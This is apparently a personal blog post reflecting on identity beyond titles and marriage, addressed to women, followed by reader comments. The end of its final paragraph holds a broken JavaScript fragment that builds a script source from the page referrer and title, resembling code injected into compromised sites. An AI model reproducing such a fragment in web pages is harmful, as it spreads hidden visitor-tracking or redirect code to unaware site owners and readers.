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WHO AM I? That is one of the most difficult questions to answer for any body. It’s not a question one can answer properly without thinking deeply about it. It’s so easy and convenient to define who you are by positions you occupy or roles you play in different places, or titles and this brings about a situation in which a person is under pressure to live up to a position or title. This stifles originality and ineffectiveness. Because you haven’t discovered who you are, you attempt to do everything and and are not focused to be able to achieve results.

I remember a couple of months ago when i met a lady who had been married for barely a year; i met her through a colleague of mine in my masters class. I introduced myself by my first name while she introduced herself as Mrs X. After the pleasantries, we waited for the lecturer to come for the class; then we decided to make small talk while we waited. She said that she would never allow anybody get away with addressing her without attaching the Mrs. Hers was not only for the reason of security, it was for the prestige and identity. She spoke so strongly about it that i wondered what the big deal was. Maybe the marriage was still sharking her sha……lol.

There’s a lot insecurity among women. I think it’s a product of low self esteem. Marriage is beautiful, especially when it’s between two people who are right for each other, because each party stands to benefit from it. I’ve discovered however, that a lot of women approach a marriage proposal as a “thank God i’ve been found worthy” or a “thank God there’s someone who’ll take care of me for the rest of my life” sign. It’s an unhealthy perspective and it does more harm than good to such women. Below are questions we need to ask ourselves as women.

1) DO you see yourself as valuable enough to be a gift to your partner when you get married?

2) Do you see yourself as capable of achieving your dreams whether you get married or not?

3) Do you see marriage merely as a societal achievement (security) or as a God ordained institution for fulfilling destiny?

So, i’ll give us all the assignment of searching out who we really are. The bible talks about the hidden man of the heart; that’s the core of our being, that’s who we really are. Let who we are be beyond titles; let our identity be a function of what we live for. Let’s discover and celebrate our individuality, which is our uniqueness; it is only then that we can add true value to any relationship we’re in.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;


  1. Joseph Ekwu says:

    Yeah..imagine me called a MR………bet these questions are worth brainstorming about.

    Good write up …counsellor.

  2. sniper says:

    My name is Anu, 🙂

  3. Tope says:

    A-N-U LOL!

  4. JesusFreak says:

    Thanks for the question…Though i’m not married. I’ll keep the questions

  5. Theresa says:

    tnks for d insight,its not by wat u call urself or others addresses u, but by wat name do God our father know u as.

  6. byola says:

    how do i want to be remembered?

    “he lived his life for people, he always loved to help, he made things happen for people, he was a partner, a friend and a help. He was fun to be with and in all his years he did not seem to grow beyond 15years. He made everyone feel good and happy. Everything with him was possible, and he did things as excellently as he could”

    this is who i want to be…, this is who i am

    you can equally try it

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